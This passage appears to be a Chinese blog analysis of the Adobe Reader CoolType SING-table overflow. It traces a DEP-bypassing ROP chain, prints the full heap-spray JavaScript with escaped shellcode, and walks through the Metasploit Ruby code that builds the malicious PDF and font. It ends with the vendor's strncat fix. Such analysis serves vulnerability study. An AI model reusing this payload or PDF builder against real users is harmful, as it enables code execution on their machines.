7C80B9A5    FF75 0C         push dword ptr ss:[ebp+0xC]
7C80B9A8    FF75 08         push dword ptr ss:[ebp+0x8]
7C80B9AB    E8 76FFFFFF     call kernel32.MapViewOfFileEx
7C80B9B0    5D              pop ebp
7C80B9B1    C2 1400         retn 0x14

将一个文件映射对象映射到当前应用程序的地址空间。

4A801064    C3              retn

跳转到 0x4A8063A5

4A8063A5    59              pop ecx            ; icucnv36.4A8A00044A8063A6    C3              
retn

ecx = 0x4A8A0004

4A802196    8901            mov dword ptr ds:[ecx],eax4A802198    C3              retn

将 eax 的值暂存在 [ecx] 中

eax = 0x037F0000

4A8063A5    59              pop ecx               ; icucnv36.4A8010644A8063A6    C3              
retn

ecx = 0x4A801064

4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn
4A802AB1    5B              pop ebx4A802AB2    C3              retn

又回到 0x4A80A8A6

4A801F90    58              pop eax            ; icucnv36.4A8A00044A801F91    C3              
retn

eax = 0x4A8A0004

4A80A7D8    8B00            mov eax,dword ptr ds:[eax]4A80A7DA    C3              retn

eax = [eax] = 0x037F0000

4A8063A5    59              pop ecx          ; icucnv36.4A8010644A8063A6    C3              
retn

ecx = 0x4A801064

4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn

eax = edi = 0x037F0000

4A802AB1    5B              pop ebx4A802AB2    C3              retn

ebx = 0×00000020

这里的 retn 再一次跳到了 0x4A80A8A6

4A80AEDC    8D5424 0C      lea edx,dword ptr ss:[esp+0xC]
4A80AEE0    52              push edx
4A80AEE1    50              push eax
4A80AEE2    FF7424 0C       push dword ptr ss:[esp+0xC]
4A80AEE6    FF35 3C098A4A   push dword ptr ds:[0x4A8A093C]
4A80AEEC    FFD1            call ecx
4A80AEEE    83C4 10         add esp,0x10
4A80AEF1    C3              retn

这里 ecx = 0x4A801064

call ecx 跳转到了 0x4A801064

4A801064   C3              retn

这里 [esp] = 0x4A80AEEE

4A80AEEE    83C4 10         add esp,0x10
4A80AEF1    C3              retn
4A801F90    58              pop eax4A801F91    C3              retn
4A80D585    03C2            add eax,edx
4A80D587    C3              retn
4A8063A5    59              pop ecx           ; icucnv36.4A8010644A8063A6    C3              
retn

这里的 ecx = 0x4A801064

4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn
4A802AB1    5B              pop ebx4A802AB2    C3              retn
4A801F90    58              pop eax         ; <&MSVCR80.memcpy>4A801F91    C3              
retn

这里将 memcpy 函数地址保存在了 eax 寄存器中

4A80B692  - FF20            jmp dword ptr ds:[eax]      ; MSVCR80.memcpy

这里用到的 memcpy 函数将要执行的 shellcode 写入到 MapViewOfFile 返回的地址。因为这段内存是可读可写的,所以就绕过了 DEP 的保护。

0C0C0D44   03E90000  CALL 到 memcpy0C0C0D48   03E90000  dest = 03E900000C0C0D4C   
0C0C0D54  src = 0C0C0D540C0C0D50   00001000   n = 1000 (4096.)

memcpy 的参数如上。

03790010    3147 18         xor dword ptr ds:[edi+0x18],eax
03790013    0347 18         add eax,dword ptr ds:[edi+0x18]
03790016    83C7 04         add edi,0x4
03790019  ^ E2 F5           loopd X03790010

最后这里的循环将 shellcode 解密

0379001B    FC              cld
0379001C    E8 82000000     call 037900A3

并跳转到 0x037900A3 处继续执行

037D00A3    5D              pop ebp               ; 
037D0021037D00A4    6A 01            push 0x1
037D00A6    8D85 B2000000   lea eax,dword ptr ss:[ebp+0xB2]
037D00AC    50              push eax
037D00AD    68 318B6F87     push 0x876F8B31037D00B2    FFD5            call ebp

ebp = 0x037D0021

这里的 eax = 0x038300D3 指向的是一个字符串「calc.exe」

call ebp 之后执行 calc.exe 命令。总结一下这部分由堆喷射覆盖在栈上的数据都做了一些什么。主要做了新建临时文件,将文件映射到内存,将真正的 shellcode 拷贝到内存的某一块区域并且解码这些 shellcode 然后执行。

JavaScript 实现 HeapSpray

前面提到过,这个漏洞样本的编写中,借助了 PDF 本身支持 JS 的特性实现了堆喷射。这里我们借助 PDFStreamDumper 工具提取样本中的这段实现堆喷射的 JS 代码段。

var var_shellcode = 
unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0
000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008
%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0
001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80
%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1
064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2
%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4
a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff
%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud
199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c
%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3
bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8
%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud
4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' );var var_c = unescape( "%" + "u" + "0" + 
"c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c;
var_b = var_c.substring(0, (0x0c0c-0x24)/2);
var_b += var_shellcode;
var_b += var_c;
var_d = var_b.substring(0, 0x10000/2);while(var_d.length < 0x80000) var_d += var_d;
var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2);var var_4 = new Array();for (var_i=0;var_i<0x1f0;var_i++) 
var_4[var_i]=var_3+"s";

所有的 shellcode 都被转化成了十六进制的转义序列,经过 unescape 解码之后存储在了 var_shellcode 之中。var_c 变量存储了「%u0c0c%u0c0c」,接下来用了一个 while 循环叠加 var_c,用于覆盖内存中的数据,采用 0x0c0c0c0c 的原因是因为它所对应的指令是

or al,0x0C

这样的指令执行的效果对 al 寄存器不会产生任何影响很适合当作滑板指令是堆喷射的常用技巧。

接下来的 var_b 保存了前面的所有滑板指令以及 shellcode。最关键的实现堆喷射的语句是 new Array()

利用数组来开辟内存区域,然后通过填充数组数据的方式来喷射 shellcode。

PDF 格式&样本构造

先回顾一下漏洞的触发点,漏洞的触发点是在解析 TTF 字体的 SING 表时出现的问题。那很显然我们首先要了解一下 TTF 的格式定义以及 SING 表的具体字段。同时我们还需要了解 PDF 格式规范当中是如何来引用 TTF 字体文件的,以及 PDF 是怎么支持 JavaScript 脚本执行的。

先来了解一下 PDF 的基本格式

PDF 文件由最基本的几个部分组成。

首先看到的是 Header 部分。这是 PDF 文件的开始部分。主要用来指明当前 PDF 文件所遵循的 PDF 格式标准版本。例如%PDF-1.5

Body 部分包含了 PDF 文档的主要内容,所有向用户展现的内容都在此存放。

Cross-reference table 即交叉引用表,包含了当前 PDF 文档中所有对象的引用、偏移量以及字节长度。借助这个引用表可以在全文档范围内随机访问任何一个对象,非常的方便。

Trailer 主要包含了指向交叉引用表的指针以及一些关键对象的指针并且以%%EOF 标记文件结束,帮助符合标准的阅读器能够快速定位到需要的对象。所有的 PDF 阅读器都是要从这里开始解析。

了解完 PDF 基本格式。秉承着用到什么再提什么的原则,我们这里通过分析 MSF 提供的 exp 来帮助理解 PDF 文档的构造过程。

前面提到过 exp 的位置在 Kali Linux 下的

/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb

这个脚本是用 ruby 语言编写的,对于 ruby 语法的相关细节本文不再赘述。

定位到 def make_pdf(ttf, js) 的部分,这里是创建 pdf 的核心位置。

xref = []eol = "\n"endobj = "endobj" << eol

看到首先定义了几个接下来会用到的字符以及交叉引用表 xref。

pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol

这里描述的是 Header 部分的内容,首先定义了版本号,这个样本遵循的是 PDF1.5 版本。

接下来调用了一个 random_non_ascii_string 函数

def random_non_ascii_string(count)
  result = ""
  count.times do
    result << (rand(128) + 128).chr  end
  resultend

该函数用于随机出不再 ASCII 范围内的字符。换句话说这里随机了 4 个字符。关于这四个字符的作用。Adobe 给出的 PDF 文档里是这样描述的

If a PDF file contains binary data, as most do, the header line shall be immediately followed
 by a comment line containing at least four binary characters—that is ,characters whose codes
  are 128 or greater. This ensures proper behaviour of file transfer applications that inspect
   data near the beginning of a file to determine whether to treat the file's contents as 
   text or as binary.

这四个 code 大于 128 的字符用于确保当前 PDF 文档被当作二进制文件来对待而不是文本文件。

看完了 Header 部分的实现,再看 Body 部分的实现之前,先来了解一下 Body 部分大致的组织结构。

catalog(目录) 在这里充当的是根对象,由 catalog 对象引出 Page tree、Outline hierarchy、Article threads 等等,我无法全部都一一介绍,只介绍必要的东西。如果你对其它内容更感兴趣可以参考 PDF 标准文档。

继续往下看会看到 catalog 对象的定义

xref << pdf.lengthpdf << io_def(1) << n_obfu("<<") << eol
pdf << n_obfu("/Pages ") << io_ref(2) << eol
pdf << n_obfu("/Type /Catalog") << eol
pdf << n_obfu("/OpenAction ") << io_ref(11) << eol# The AcroForm is required to get icucnv36.dll to loadpdf
 << n_obfu("/AcroForm ") << io_ref(13) << eol
pdf << n_obfu(">>") << eol
pdf << endobj

这里用到了两个 io_def 和 n_obfu 函数。此处的 xref << pdf.length 用于记录对象的偏移量。

def io_def(id) 
	"%d 0 obj \n" % idend

用于表示对象编号和生成数,在 PDF 中间接对象都是由两个关键词objendobj表示的,endobj 关键字必须自成一行,obj 对象所在行需要有两个由空格隔开的数字来分别表示对象编号和对象生成数。对象编号用来唯一区分和标识各个对象,对象生成数会随着对象每次被释放之后递增 (具体详情可以参考官方文档)。下面是一个间接对象的例子:

2 0 obj
123
endobj

很显然 io_def 函数的主要作用就是用来表示对象的对象编号和生成数以及 obj 关键字。这里的生成数默认是 0。

def n_obfu(str) 
  #return str
  result = ""
  str.scan(/./u) do |c| #/u 表示按 unicode(utf-8) 匹配    if rand(2) == 0 and c.upcase >= 'A' 
  and c.upcase <= 'Z' # rand(2) [0,2)      result << "#%x" % c.unpack("C*")[0]    else
      result << c
    end
  end
  resultend

该函数随机编码字母字符 (以 #%x 的形式)。主要作用应该是混淆和免杀。

我们注意到这里的代码 n_obfu(「<<」) 用了」<<」字符。在 PDF 中字典对象是由<< >>包括的一系列键值对组成的。因此 catalog 本质上是一个字典对象。

在 catalog 中包含了非常多的可选和必选的字段条目。首先在 catalog 中,/Type 条目是必须要存在的,它的值被固定为/Catalog。/Page 条目也是必选的,它指向了一个间接对象 Page。io_ref 函数的定义如下:

def io_ref(id) 
	"%d 0 R" % idend

在 PDF 中引用 (或指向) 一个间接对象需要用一个对象编号,生成数以及一个关键字R来表示。这里的 io_ref(2) 表示引用了一个对象编号为 2 的对象。

剩下的在 Catalog 中的/OpenAction 以及/AcroForm 都是可选的选项。

其中/OpenAction 是 PDF 执行 JS 的关键也是该样本实现堆喷射的地方。/OpenAction 中指向了一个数组或者字典对象,该对象可能描述了某种行为,这个行为会在 PDF 文档被加载时执行。剩下的/AcroForm 则指向了一个交互式表单字典 (之后会解释为什么在样本中使用了一个交互式表单)。

我们从/Pages 指向的页面对象开始分析。/Page 条目指向了一个对象编号为 2 的页面对象。

xref << pdf.lengthpdf << io_def(2) << n_obfu("<<") << eol
pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
pdf << n_obfu("/Resources ") << io_ref(4) << eol
pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
pdf << n_obfu("/Count 1") << eol
pdf << n_obfu("/Type /Pages") << eol
pdf << n_obfu(">>") << eol
pdf << endobj

同样的/Type 条目是必选的并且值固定为/Pages,/Count 条目用来记录 Page 树中的叶子结点个数。这里其实还有一个/Parent 必选条目用来指定父结点,但是由于这里是根结点所以可以忽略该条目。/Kid 条目用来引用一个数组,数组的元素是当前结点的直接子结点。/MediaBox 是个可选条目,定义了要显示或打印页面的物理媒介的区域。/Resources 记录了当前 Page 用到的所有资源,可空。在当前样本中就是在 Resources 条目中指定了字体,从而引入有恶意数据的 TTF 字体文件。这里我们重点分析一下/Resources 条目。

/Resources 指向了一个对象编号为 4 的对象。

xref << pdf.lengthpdf << io_def(4)
pdf << n_obfu("<<") << eol
pdf << n_obfu("/Font ") << io_ref(6) << eol
pdf << ">>" << eol
pdf << endobj

/Font 条目指向了一个用于描述引用的字体状况的字体字典对象。

xref << pdf.lengthpdf << io_def(6) << n_obfu("<<") << eol
pdf << n_obfu("/F1 ") << io_ref(7) << eol
pdf << ">>" << eol
pdf << endobj

这里的/F1 代表了使用 Type 1 字体技术定义字形形状的字体 (关于 Type1 详情请看文档)

xref << pdf.lengthpdf << io_def(7) << n_obfu("<<") << eol
pdf << n_obfu("/Type /Font") << eol
pdf << n_obfu("/Subtype /TrueType") << eol
pdf << n_obfu("/Name /F1") << eol
pdf << n_obfu("/BaseFont /Cinema") << eol
pdf << n_obfu("/Widths []") << eol
pdf << n_obfu("/FontDescriptor ") << io_ref(9)
pdf << n_obfu("/Encoding /MacRomanEncoding")
pdf << n_obfu(">>") << eol
pdf << endobj

/FontDescriptor 条目用于描述字体各种属性。

xref << pdf.lengthpdf << io_def(9) << n_obfu("<<")
pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
pdf << n_obfu("/FontFile2 ") << io_ref(10)
pdf << n_obfu(">>") << eol
pdf << endobj

FontFile2 指向了一个流对象,这个流对象即是 TTF 字体数据,我们构造的 SING 表数据也包含在内。在 PDF 中流对象由 Stream 和 Endstream 关键字标识。

xref << pdf.lengthcompressed = Zlib::Deflate.deflate(ttf)
pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

这里将我们构造好的 ttf(之后会提及如何构造 ttf) 数据经过 deflate 压缩之后给了 compressed 变量。并且被包含在 stream 和 endstream 关键字之间。

接下来分析一下如何构造 ttf。分析 MSF 提供的 exp 发现它在构造的时候并没有从头根据 TrueType 字体的标准文档从零开始构造,而是选择了采用一个现有的字体文件并把 SING 表格插入进去。这确实是很省力的一种做法。

回到 KaliLinux 下的

/usr/share/metasploit-framework/modules/exploits/windows/fileformat/cve-2010-2883.ttf

可以看到所采用的字体文件在这个位置。

在构造 TTF 之前,首先了解一下 SING 表的数据结构

typedef struct{
    USHORT  tableVersionMajor;
    USHORT  tableVersionMinor;
    USHORT  glyphletVersion;
    USHORT  embeddinginfo;
    USHORT  mainGID;
    USHORT  unitsPerEm;
    SHORT   vertAdvance;
    SHORT   vertOrigin;
    BYTE[28]    uniqueName;
    BYTE[16]    METAMD5;
    BYTE    nameLength;
    BYTE[]  baseGlyphName;
} SINGTable;

我们把需要注入的恶意代码写入在 uniqueName 中即可。

参考 TrueType 文档中的数据类型。我们了解到 USHORT 和 SHORT 都占 16 个 bit。接下来查看一下 exp 中的 make_ttf 函数定义。

def make_ttf

  # load the static ttf file
  ttf_data = @ttf_data.dup  # Build the SING table
  sing = ''
  sing << [    0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
    0xe01,  # glyphletVersion
    0x100,  # embeddingInfo
    0,      # mainGID
    0,      # unitsPerEm
    0,      # vertAdvance
    0x3a00  # vertOrigin
  ].pack('vvvvvvvv')

这里首先填充了 uniqueName 字段之前的字段数据。并且注意到这里使用了 pack(『v』) 函数来实现小端字节序。如果你仔细阅读 TrueType 的文档描述,会了解到 TrueType 实际上遵循的是大端字节序来描述数据,这里之所以采用小端是因为此时的 uniqueName 字段数据已然不是原先的作用了,它此时包含的是要在 x86 架构环境下执行的指令地址,而 x86 架构下需要遵循的是小端字节序。

  # uniqueName
  # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
  #sing << "A" * (0x254 - sing.length)
  sing << rand_text(0x254 - sing.length)

继续往下看,这里使用了 rand_text 函数填充了随机字符,主要作用是混淆。在前面为了方便识别数据块,我们将随机字符固定成了「A」。

  # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
  sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')  # This becomes our new EIP (puts esp to stack buffer)
  ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
  sing[0x208, 4] = [ret].pack('V')  # This becomes the new eip after the first return
  ret = 0x4a82a714
  sing[0x18, 4] = [ret].pack('V')  # This becomes the new esp after the first return
  esp = 0x0c0c0c0c
  sing[0x1c, 4] = [esp].pack('V')  # Without the following, sub_801ba57 returns 0.
  sing[0x24c, 4] = [0x6c].pack('V')

  ttf_data[0xec, 4] = "SING"
  ttf_data[0x11c, sing.length] = sing

  ttf_data
end

之后就是将前面我们动态调试时分析过的几个关键地址写入 SING 表中。并把 TTF 字体中的 name 表替换成 SING 表。

到此为止,我们已经知道了如何构造 SING 表和 TTF 以及在 PDF 中如何引用这个 TTF 字体文件。接下来再来分析一下 PDF 中是如何执行 JavaScript 的。

回到 catalog 对象的定义中的/OpenAction 条目,引用了一个编号为 11 的对象。

xref << pdf.lengthpdf << io_def(11) << n_obfu("<<")
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
pdf << n_obfu(">>") << eol
pdf << endobj

这里指定了一个用于执行 JS 的 action。

xref << pdf.lengthcompressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

注意到这里将我们构造好的 JS 代码直接代入了 ascii_hex_whitespace_encode 函数。在 exp 中找到 ascii_hex_whitespace_encode 的函数定义如下

def ascii_hex_whitespace_encode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
    result << whitespace << "%02x" % b
    whitespace = " " * (rand(3) + 1)  end
  result << ">"end

这个函数将 ASCII 转换成十六进制并且中间随机间隔 1 到 3 个空格。

在前面的介绍中已经把核心的 JS 代码介绍了。接下来看下 EXP 中是怎么构造 JS 的。

定位到 make_js 函数处

stack_data = [  0x41414141,   # unused
  0x4a8063a5,   # pop ecx / ret
  0x4a8a0000,   # becomes ecx

  0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

  0x4a801f90,   # pop eax / ret
  0x4a84903c,   # becomes eax (import for CreateFileA)

  ……

].pack('V*')

首先定义了一个 stack_data 变量,该变量中存储了构造的 ROP 链。由于代码太长,省略了中间的 shellcode。同样这里也用了 pack(『V*』) 按照小端字节序来处理。

var_unescape  = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start     = rand_text_alpha(rand(100) + 1)

var_s         = 0x10000
var_c         = rand_text_alpha(rand(100) + 1)
var_b         = rand_text_alpha(rand(100) + 1)
var_d         = rand_text_alpha(rand(100) + 1)
var_3         = rand_text_alpha(rand(100) + 1)
var_i         = rand_text_alpha(rand(100) + 1)
var_4         = rand_text_alpha(rand(100) + 1)

payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

在接下来的处理中同样做了很多的随机字符生成用于混淆。

并且将 payload 代码连入。

  js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};#{var_b} = #{var_c}.substring(0, 
(0x0c0c-0x24)/2);#{var_b} += #{var_shellcode};#{var_b} += #{var_c};#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

  jsend

再将刚才的变量代入到进 js 变量中形成完整的 JavaScript 堆喷射代码。至此 js 部分就分析完成了。

  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
    pdf << "%010d 00000 n" % index << eol
  end

  pdf << "trailer" << eol
  pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol

  pdf << "%%EOF" << eol
  pdf
end

以上代码是 PDF 构造的结尾部分。用于生成交叉引用表和 trailer 表。交叉引用表每一行包含了一个对象的文件偏移,生成数以及空间占用标识符。并以%%EOF 标识结束。

至此样本构造部分的分析就结束了,虽然有很多地方还是没有讲的很清楚,有兴趣的朋友可以阅读 PDF 的官方文档深入了解 PDF 的详细情况。

漏洞修复

下载 AdobeReader 9.4.0 版本提取 CoolType.dll,定位到相同的位置

.text:0803DD90                 mov     byte ptr [ebp+108h+var_10C], 1.text:0803DD94                 
jnz     loc_803DEF6
.text:0803DD9A                 push    offset aName    ; "name".text:0803DD9F                 
push    edi             ; int.text:0803DDA0                 lea     
ecx, [ebp+108h+var_124]
.text:0803DDA3                 xor     bl, bl
.text:0803DDA5                 call    sub_80217D7
.text:0803DDAA                 cmp     [ebp+108h+var_124], 0.text:0803DDAE                 
jnz     short loc_803DE1A
.text:0803DDB0                 push    offset aSing    ; "SING".text:0803DDB5                 
push    edi             ; int.text:0803DDB6                 lea     
ecx, [ebp+108h+var_12C]
.text:0803DDB9                 call    sub_8021B06
.text:0803DDBE                 mov     ecx, [ebp+108h+var_12C]
.text:0803DDC1                 test    ecx, ecx
.text:0803DDC1 ;   } // starts at 803DD90.text:0803DDC3 ;   try {
.text:0803DDC3                 mov     byte ptr [ebp+108h+var_10C], 2.text:0803DDC7                 
jz      short loc_803DE03
.text:0803DDC9                 mov     eax, [ecx]
.text:0803DDCB                 and     eax, 0FFFFh
.text:0803DDD0                 jz      short loc_803DDD9
.text:0803DDD2                 cmp     eax, 100h
.text:0803DDD7                 jnz     short loc_803DE01
.text:0803DDD9
.text:0803DDD9 loc_803DDD9:                            ; CODE XREF: sub_803DD33+9D↑j
.text:0803DDD9                 push    104h            ; int.text:0803DDDE            
     add     ecx, 10h
.text:0803DDE1                 push    ecx             ; char *
.text:0803DDE2                 lea     eax, [ebp+108h+var_108]
.text:0803DDE5                 push    eax             ; char *
.text:0803DDE6                 mov     [ebp+108h+var_108], 0.text:0803DDEA                
 call    sub_813391E

很显然这里不再是调用 strcat 而是改为调用 sub_813391E 函数

.text:0813391E                 push    esi
.text:0813391F                 mov     esi, [esp+4+arg_0]
.text:08133923                 push    esi             ; char *
.text:08133924                 call    strlen
.text:08133929                 pop     ecx
.text:0813392A                 mov     ecx, [esp+4+arg_8]
.text:0813392E                 cmp     ecx, eax
.text:08133930                 ja      short loc_8133936
.text:08133932                 mov     eax, esi
.text:08133934                 pop     esi
.text:08133935                 retn
.text:08133936 loc_8133936:                            ; CODE XREF: sub_813391E+12↑j
.text:08133936                 sub     ecx, eax
.text:08133938                 dec     ecx
.text:08133939                 push    ecx             ; size_t
.text:0813393A                 push    [esp+8+arg_4]   ; char *
.text:0813393E                 add     eax, esi
.text:08133940                 push    eax             ; char *
.text:08133941                 call    ds:strncat
.text:08133947                 add     esp, 0Ch
.text:0813394A                 pop     esi
.text:0813394B                 retn

该函数获取了字段的长度,判断是否超出限制。如果超出限制就用 strncat 限制了拷贝的字节数从而修复了该漏洞。

参考资料

https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf

http://rapid7.github.io/metasploit-framework/api/

https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf

https://www.adobe.com/content/dam/acom/en/devnet/acrobat/pdfs/js_api_reference.pdf

*本文作者:PureT1


发表评论 取消回复

电子邮件地址不会被公开。 必填项已用*标注